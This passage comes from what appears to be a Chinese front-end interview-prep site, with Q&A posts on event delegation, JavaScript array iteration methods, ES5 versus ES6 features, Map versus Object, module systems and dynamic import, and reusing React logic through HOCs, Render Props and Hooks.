=> { const li = e.target.closest('li'); if (li) handler(e);});e.target 与 e.currentTarget 的区别e.target:实际触发事件的最深层元素(用户真正点击的那个元素)e.currentTarget:绑定监听器的元素,在事件代理中就是父元素代理场景下两者始终不同:e.currentTarget 是挂载监听器的父元素,e.target 是用户实际点击的子元素。理解这个区别是掌握事件代理的关键。实际应用场景列表/表格的行点击:导航菜单选中、数据表格行操作动态表单项:可增减的输入行、标签列表的添加与删除React 合成事件体系:React 17 前将所有事件代理到 document,17+ 代理到 root 节点,本质上就是事件代理思想在框架层的工程化实践事件代理 + 防抖:在滚动容器上代理子元素的点击,配合防抖避免误触就近委托是最佳实践:在最近的公共父元素上代理,而非一律挂载到 document 或 body,这样可以减少不必要的事件冒泡路径和回调触发次数。
前端阅读 335月28日 03:36

some、every、find、filter、map、forEach 有什么区别?

这 6 个方法是 JavaScript 数组最常用的迭代方法,面试几乎必考。核心区别在于返回值类型和是否短路,按返回值分三类记忆最清晰。一、遍历类(无返回值)forEach纯遍历,对每个元素执行回调,返回值永远是 undefined。不能中断:return 只跳过当前回调,break 语法不支持,想中途退出只能用 try/catch 抛异常(不推荐)不支持异步:回调里写 async/await 不会等待 Promise,因为 forEach 不关心返回值const list = [1, 2, 3];list.forEach(item => console.log(item)); // 1, 2, 3// return 只跳过当次,不会中断循环二、返回新数组map每个元素经回调映射后返回等长新数组,不改变原数组。const nums = [1, 2, 3];const doubled = nums.map(n => n * 2); // [2, 4, 6]filter返回满足条件的元素组成的新数组,长度可能小于原数组,不改变原数组。const nums = [1, 2, 3, 4, 5];const big = nums.filter(n => n > 3); // [4, 5]三、返回布尔值或单个元素find返回第一个满足条件的元素,找到即停止遍历(短路)。找不到返回 undefined。const users = [{id: 1, name: 'A'}, {id: 2, name: 'B'}];users.find(u => u.id === 2); // {id: 2, name: 'B'}some有任意一个满足条件就返回 true,找到即短路。全不满足返回 false。空数组返回 false。[1, 2, 3].some(n => n > 2); // true[1, 2, 3].some(n => n > 5); // false[].some(n => n > 0); // falseevery所有元素都满足条件才返回 true,遇到不满足即短路。空数组返回 true(空真逻辑 vacuous truth)。[1, 2, 3].every(n => n > 0); // true[1, 2, 3].every(n => n > 1); // false[].every(n => n > 0); // true(空真)四、对比速查表| 方法 | 返回值 | 是否短路 | 空数组返回 | 链式调用 | 修改原数组 ||------|--------|----------|-----------|---------|-----------|| forEach | undefined | 否 | undefined | 否 | 否 || map | 新数组 | 否 | [] | 是 | 否 || filter | 新数组 | 否 | [] | 是 | 否 || find | 单个元素/undefined | 是 | undefined | 否 | 否 || some | boolean | 是 | false | 否 | 否 || every | boolean | 是 | true | 否 | 否 |五、高频追问map 和 forEach 怎么选?需要返回新数组用 map,纯副作用(如 console.log、DOM 操作)用 forEach。关键区别:map 可链式调用,forEach 返回 undefined 不可链式。some 和 includes 有什么区别?includes(val) 判断数组是否包含某个具体值,用严格相等(===)比较some(fn) 判断是否有元素满足自定义条件includes 只能判断值存在性,some 可以写任意判断逻辑[1, 2, 3].includes(2); // true[1, 2, 3].some(n => n > 2); // true[{a: 1}].includes({a: 1}); // false(引用不同)[{a: 1}].some(o => o.a === 1); // true这些方法支持异步回调吗?都不原生支持。forEach 里写 async/await 不会等待 Promise resolve。需要异步迭代用 for...of + await 或 Promise.all + map。// 错误:forEach 不会等待 asyncids.forEach(async id => { const data = await fetch(id); // 并发执行,不会依次等待});// 正确方式1:for...offor (const id of ids) { const data = await fetch(id);}// 正确方式2:Promise.all + map(并行)const results = await Promise.all(ids.map(id => fetch(id)));find 和 filter 怎么选?只需第一个匹配用 find(性能更好,短路),需要所有匹配用 filter。reduce 为什么没列进来?reduce 是这 6 个方法的基础——map、filter、some、every、find 都可以用 reduce 实现。面试中常追问 reduce 的用法,但 reduce 更偏向"累加器"模式,功能更强大也更复杂,属于另一个考点的范畴。
前端阅读 325月28日 03:36

ES5 和 ES6 有什么区别?

ES6(ES2015)是 JavaScript 历史上最大的一次版本更新,面试中这道题考查的是你对 JS 语言演进的理解深度。回答的关键不是罗列特性,而是讲清楚每个变化解决了什么问题。变量声明:从 var 到 let/constES5 只有 var,存在两大问题:// 问题1:变量提升console.log(a); // undefined(不会报错,但容易出 bug)var a = 1;// 问题2:无块级作用域for (var i = 0; i < 3; i++) { setTimeout(() => console.log(i), 0); // 3, 3, 3}ES6 用 let/const 解决了这两个问题:// let 有块级作用域 + 暂时性死区console.log(b); // ReferenceError(声明前访问直接报错)let b = 1;for (let i = 0; i < 3; i++) { setTimeout(() => console.log(i), 0); // 0, 1, 2}// const 不可重新赋值(但对象属性仍可修改)const obj = { a: 1 };obj.a = 2; // OKobj = { a: 2 }; // TypeError面试要点:const 保证的是绑定不可变,不是值不可变。想冻结对象用 Object.freeze()。函数:箭头函数与 this 绑定ES5 中 this 指向取决于调用方式,经常需要 var self = this 或 .bind(this):// ES5var obj = { name: 'ES5', say: function() { var self = this; setTimeout(function() { console.log(self.name); // 必须用 self/cache }, 0); }};// ES6 — 箭头函数继承外层 thisconst obj2 = { name: 'ES6', say() { setTimeout(() => { console.log(this.name); // 直接用 this }, 0); }};注意:箭头函数没有自己的 arguments、super、new.target,不能用作构造函数。字符串:模板字符串// ES5var greeting = 'Hello, ' + name + '! You are ' + age + ' years old.';// ES6const greeting = `Hello, ${name}! You are ${age} years old.`;模板字符串支持多行、变量插值、标签模板,彻底告别字符串拼接。解构赋值与展开运算符// 对象解构const { name, age } = user;// 数组解构const [first, ...rest] = [1, 2, 3, 4]; // first=1, rest=[2,3,4]// 展开运算符 — 浅拷贝与合并const copy = [...arr];const merged = { ...defaults, ...config };解构让数据提取更简洁,展开运算符替代了 Object.assign 和 concat 的大多数场景。类与继承:class 语法// ES5 — 构造函数 + 原型链function Animal(name) { this.name = name;}Animal.prototype.speak = function() { return this.name + ' makes a sound';};// ES6 — class 语法class Animal { constructor(name) { this.name = name; } speak() { return `${this.name} makes a sound`; }}class Dog extends Animal { speak() { return `${this.name} barks`; }}class 本质是原型继承的语法糖,但有行为差异:内部默认严格模式、方法不可枚举、必须用 new 调用。模块系统:import/export// ES5 — CommonJS(Node.js)const module = require('./module');module.exports = { foo };// ES6 — ES Modulesimport { foo } from './module';export const bar = 1;export default function() {}ES Modules 是静态的,支持 Tree Shaking;CommonJS 是动态的,运行时加载。现代项目(Vite/Webpack)均以 ESM 为优先。异步编程:Promise 与 async/await// ES5 — 回调地狱getData(function(a) { getMore(a, function(b) { getEvenMore(b, function(c) { console.log(c); }); });});// ES6 — Promise 链式调用getData() .then(a => getMore(a)) .then(b => getEvenMore(b)) .then(c => console.log(c));// ES8 — async/await(同步写法)const a = await getData();const b = await getMore(a);const c = await getEvenMore(b);Promise 解决了回调地狱,async/await 让异步代码看起来像同步,是面试高频追问点。新数据结构与 API| 特性 | 用途 ||------|------|| Map | 键值对集合,键可以是任意类型(Object 的键只能是字符串/Symbol) || Set | 去重数组:[...new Set(arr)] || WeakMap/WeakSet | 键是弱引用,适合缓存和关联私有数据,不阻止 GC || Symbol | 创建唯一标识符,用于私有属性和内置协议 || Proxy/Reflect | 拦截对象操作(Vue 3 响应式核心) || Generator/Iterator | 可暂停函数,for...of 遍历统一接口 |追问ES6 之后还有什么重要的新特性?| 版本 | 关键特性 ||------|----------|| ES7 | Array.prototype.includes、指数运算符 ** || ES8 | async/await、Object.values/entries || ES9 | Promise.finally、异步迭代 for await...of || ES10 | flat/flatMap、Object.fromEntries || ES11 | ??(空值合并)、?.(可选链)、Promise.allSettled || ES12 | replaceAll、逻辑赋值 ||= &&= ??= || ES13 | at()、Object.hasOwn、Top-level await |let/const 和 var 最大的实际区别?块级作用域 — 解决 for 循环闭包问题暂时性死区 — 声明前访问报 ReferenceError,var 是 undefined不可重复声明 — 同一作用域内 let/const 不能重复声明同名变量const 不可重新赋值 — 但对象/数组内容仍可修改class 只是语法糖吗?基本是。class 编译后就是原型链模式(构造函数 + prototype + Object.create)。但有几个行为差异:class 内部默认严格模式class 方法不可枚举(for...in 遍历不到)只能用 new 调用(有 new.target 检查,直接调用报错)extends 内部用 Object.create 设置原型链,比 ES5 手动写更规范面试回答策略面试官问这道题,不是让你背特性列表。推荐的回答结构:一句话概括:ES6 让 JS 从脚本语言变成工程化语言按类别讲 3-4 个重点,每个说清楚"ES5 什么问题 → ES6 怎么解决"追问时深入:挑一个你最熟悉的特性展开(如 class 的原型链原理、Promise 的微任务机制)
前端阅读 405月28日 03:35

ES6 中的 Map 和原生的 Object 有什么区别?

Map 和 Object 都能存键值对,但 Map 是专门为"字典"场景设计的,解决了 Object 做字典时的几个硬伤。键的类型:Object 的 key 只能是字符串或 Symbol,数字 1 和字符串 "1" 是同一个 key。Map 的 key 可以是任意类型——对象、函数、NaN 都行,用 SameValueZero 算法比较(NaN 等于 NaN)。原型链污染:Object 有原型链,obj.__proto__、obj.toString 这类属性名会冲突。Object.create(null) 能规避,但写法不直觉。Map 天然没有这个问题。大小:Map 有 size 属性直接取。Object 要 Object.keys(obj).length。顺序:Map 严格按插入顺序迭代。Object 在 ES6 后基本也按插入顺序,但整数 key 会被提前排列,容易踩坑。遍历:Map 直接 for...of 或 forEach。Object 要先转数组(Object.entries())或用 for...in(还会遍历原型链)。性能:频繁增删键值对时 Map 更快。Object 在 V8 中对连续整数 key 有快属性优化,但这种优化对字典场景没帮助。序列化:JSON.stringify 能直接处理 Object。Map 不行,需要先转成数组或对象。const m = new Map();const obj = {};m.set(obj, 'value'); // 对象做 key,Object 做不到m.set(1, 'num');m.set('1', 'str'); // 1 和 '1' 是不同 keyconsole.log(m.size); // 3一句话:需要字典数据结构时优先用 Map,需要 JSON 序列化或简单配置对象时用 Object。追问WeakMap 和 Map 有什么区别?WeakMap 的 key 必须是对象,值任意。key 是弱引用——被 GC 回收后对应条目自动消失。不可迭代(没有 size、forEach、keys()),因为条目随时可能被回收。| | Map | WeakMap ||---|---|---|| key 类型 | 任意 | 仅对象 || 引用方式 | 强引用 | 弱引用 || 可迭代 | 是 | 否 || size | 有 | 无 || 典型场景 | 字典存储 | 关联私有数据 |项目里 WeakMap 用在什么地方?Vue 3 的响应式系统用 WeakMap 存对象 → 依赖关系,对象被销毁时依赖自动清理,不会内存泄漏。另一个常见场景:给 DOM 节点绑定额外数据,节点移除后数据自动释放。Object.create(null) 能替代 Map 吗?能解决原型链污染问题,但解决不了键类型限制、size 获取、顺序保证、迭代便利性。Map 是更完整的方案。Map 的 key 用 NaN 会怎样?Map 用 SameValueZero 算法比较键,NaN 等于 NaN,所以 NaN 可以正常作为 key,且不会重复。Object 中 NaN 作为 key 会被转成字符串 "NaN",行为一致,但 Map 的语义更明确。
前端阅读 315月28日 03:34

前端模块规范有哪些?模块如何异步加载?

JavaScript 模块化经历了从全局变量污染到标准化模块系统的漫长演进,不同规范解决了不同阶段的问题。IIFE:最早的模块化尝试在规范出现之前,开发者用立即执行函数表达式创建独立作用域:var MyModule = (function() { var privateVar = 'hidden'; function privateMethod() { return privateVar; } return { publicMethod: function() { return privateMethod(); } };})();IIFE 通过闭包隔离内部变量,只暴露全局接口。缺点是依赖关系靠全局变量传递,script 标签顺序一旦出错就全局崩溃。CommonJS:Node.js 的选择// math.jsmodule.exports = { add: (a, b) => a + b };// main.jsconst { add } = require('./math');console.log(add(1, 2));CommonJS 用 require 同步加载模块,module.exports 导出。核心特征:运行时加载,require 执行时才确定依赖;输出值的拷贝,模块内部变化不会影响已导入的值;this 指向当前模块。同步加载在服务端不是问题——文件在本地磁盘,读取极快。但在浏览器中,模块要从网络下载,同步阻塞会让页面卡死。AMD:为浏览器而生define(['jquery', './utils'], function($, utils) { return { init: function() { $('body').append(utils.format()); } };});AMD(Asynchronous Module Definition)用 define 声明模块和依赖,依赖在回调执行前全部加载完成。RequireJS 是最知名的实现。依赖必须前置声明,不管是否马上用到都会先加载。CMD:依赖就近define(function(require, exports, module) { var $ = require('jquery'); // 用到时才加载 exports.init = function() { $('body').append('hello'); };});CMD 由 SeaJS 推广,和 AMD 的核心区别是依赖就近声明——只有执行到 require 时才加载对应模块。两者在浏览器端都已退出主流,被 ESModule 取代。UMD:兼容方案(function(root, factory) { if (typeof exports === 'object') module.exports = factory(); else if (typeof define === 'function') define(factory); else root.MyModule = factory();})(this, function() { return { version: '1.0' };});UMD 判断运行环境,兼容 CommonJS、AMD 和全局变量三种方式。库开发者打包时常用,确保代码在任何环境都能正常加载。ESModule:统一标准// math.jsexport const add = (a, b) => a + b;// main.jsimport { add } from './math.js';ESModule 是 JavaScript 语言层面的模块标准。与 CommonJS 的关键区别:编译时静态分析,import/export 必须在顶层,引擎在执行前就确定依赖关系;输出值的引用,模块内部变化会同步反映到导入方;顶层 this 为 undefined;天然支持 Tree-Shaking。模块异步加载异步加载的核心场景是按需加载——首屏不需要的代码延迟到使用时再请求,减少初始包体积。ESModule 动态导入:import() 返回 Promise,可在任意位置调用,是实现代码分割和路由懒加载的标准方式:button.addEventListener('click', async () => { const { openDialog } = await import('./dialog.js'); openDialog();});AMD 异步加载:require([deps], callback) 本身就是异步的,依赖列表中的模块并行下载后再执行回调。CommonJS:require 本身是同步的,不支持浏览器原生的异步加载。但打包工具(Webpack 等)可以将 import() 语法编译为 CommonJS 环境下的异步加载 chunk。追问import() 和顶层 import 有什么区别?顶层 import 是静态声明,必须在模块顶层,编译时确定依赖关系,引擎可以做静态分析和 Tree-Shaking。import() 是动态函数调用,返回 Promise,可以在任何位置调用,运行时才加载模块。后者用于代码分割、路由懒加载等按需加载场景。静态 import 在严格模式下还会被提升到模块顶部执行。为什么浏览器不支持 CommonJS 的 require?require 是同步调用——读取文件、编译、执行,然后返回结果。在服务端文件在本地磁盘上,同步读取耗时可以忽略;但在浏览器里模块要从网络下载,网络延迟不可控,同步阻塞意味着页面卡死直到所有依赖下载完成。AMD 和 ESModule 都采用异步加载模型,不阻塞主线程。库作者应该发布什么格式?ESM + CJS 双格式——package.json 的 exports 字段同时声明两种格式的入口,CJS 兼容老工具和老版本 Node.js,ESM 支持 Tree-Shaking 和静态分析。典型配置:{ "exports": { ".": { "import": "./dist/index.mjs", "require": "./dist/index.cjs" } }}单独只发 CJS 会丢失 Tree-Shaking 能力,单独只发 ESM 会排除不支持 ESM 的旧环境。双格式是当前最稳妥的方案。
前端阅读 495月28日 03:32

React 组件抽离公共逻辑代码有哪些方式?

React 逻辑复用经历了三代方案的演进:Mixin → HOC / Render Props → Hooks。Mixin 已随 Class 组件淘汰,当前面试重点在后面三种。HOC(高阶组件)函数接受一个组件,返回增强后的新组件:function withAuth(WrappedComponent) { return function AuthComponent(props) { const isAuthenticated = checkAuth(); return isAuthenticated ? <WrappedComponent {...props} /> : <Navigate to="/login" />; };}// 使用const ProtectedPage = withAuth(Dashboard);核心问题:Wrapper Hell:多层 HOC 嵌套后,DevTools 里组件树极深,调试困难Props 来源不透明:<WrappedComponent {...props} /> 透传的 props 来自哪里不直观,容易命名冲突静态方法丢失:HOC 返回新组件,原组件的静态方法不会自动复制,需要 hoist-non-react-statics 手动提升Ref 丢失:ref 不属于 props,会被绑定到外层 HOC 组件而非原组件,需配合 React.forwardRef 转发Render Props组件接受一个返回 React 元素的函数 prop,由该函数决定渲染内容:function Mouse({ render }) { const [pos, setPos] = useState({ x: 0, y: 0 }); useEffect(() => { const handler = (e) => setPos({ x: e.clientX, y: e.clientY }); window.addEventListener(mousemove, handler); return () => window.removeEventListener(mousemove, handler); }, []); return render(pos);}// 使用<Mouse render={pos => <Cursor pos={pos} />} />核心问题:嵌套地狱:多个 Render Props 嵌套时,回调层级极深,可读性急剧下降性能隐患:每次父组件渲染,render 函数都会重新创建,导致子组件不必要的重渲染,需要额外做 useCallback 优化Hooks(推荐)在函数组件内调用自定义 Hook,逻辑与 UI 完全分离,无组件层级嵌套:function useAuth() { const [user, setUser] = useState(null); useEffect(() => { const unsub = onAuthStateChanged(setUser); return unsub; }, []); return user;}// 使用function Dashboard() { const user = useAuth(); if (!user) return <Navigate to="/login" />; return <main>...</main>;}Hooks 的注意事项:不能在条件语句、循环或嵌套函数中调用——React 依靠调用顺序匹配 Fiber 链表上的 Hook 节点闭包陷阱:useEffect 内部如果引用了 state 但未加入依赖数组,回调中捕获的始终是旧值,需用 useRef 或函数式更新 setState(prev => prev + 1) 解决三种方案对比| 维度 | HOC | Render Props | Hooks ||------|-----|-------------|-------|| 组件嵌套 | 多层包裹 | 回调嵌套 | 无嵌套 || Props 透明度 | 来源不透明 | 显式传递 | 显式调用 || 类型推导 | 困难(泛型丢失) | 较好 | 好 || 适用场景 | 旧代码维护、Class 组件 | 旧代码维护 | 新代码首选 |三种方式的核心思想一致——把可复用逻辑从 UI 中分离。Hooks 胜在零组件嵌套、逻辑内聚、类型友好,是当前最佳实践。追问为什么 Hooks 不能放在条件语句里?React 用 Fiber 节点上的链表结构存储 Hook 状态。每次渲染时,Hook 按调用顺序依次匹配链表上的节点。如果某个 Hook 在某次渲染被跳过,后续 Hook 就会错位匹配到前一个 Hook 的状态节点,导致状态混乱。这是 React 内部实现机制决定的,而非 API 设计限制。HOC 还用在哪些场景?React.memo(性能优化,浅比较 props)connect(mapStateToProps, mapDispatchToProps)(Redux v5 以前)withRouter(React Router v5)权限控制:withAuth(ProtectedComponent)日志/埋点:withTracker(InteractiveComponent)如何把 Class 组件中的 HOC 迁移到 Hooks?| HOC 模式 | Hooks 替代 ||----------|-----------|| withRouter | useNavigate() + useLocation() + useParams() || connect() | useSelector() + useDispatch() || withAuth | 自定义 useAuth() || withTracker | 自定义 useTracker() + useEffect || 通用 HOC | 自定义 Hook + 组件内直接调用 |Hooks 有哪些常见陷阱?闭包陷阱:useEffect 中引用了 state 但依赖数组遗漏,回调拿到旧值。用 useRef 存最新值或函数式更新解决无限渲染:useEffect 依赖项传入每次新建的对象/数组引用,用 useMemo 稳定引用依赖缺失:遗漏依赖导致 effect 不按预期执行,启用 eslint-plugin-react-hooks 的 exhaustive-deps 规则自动检查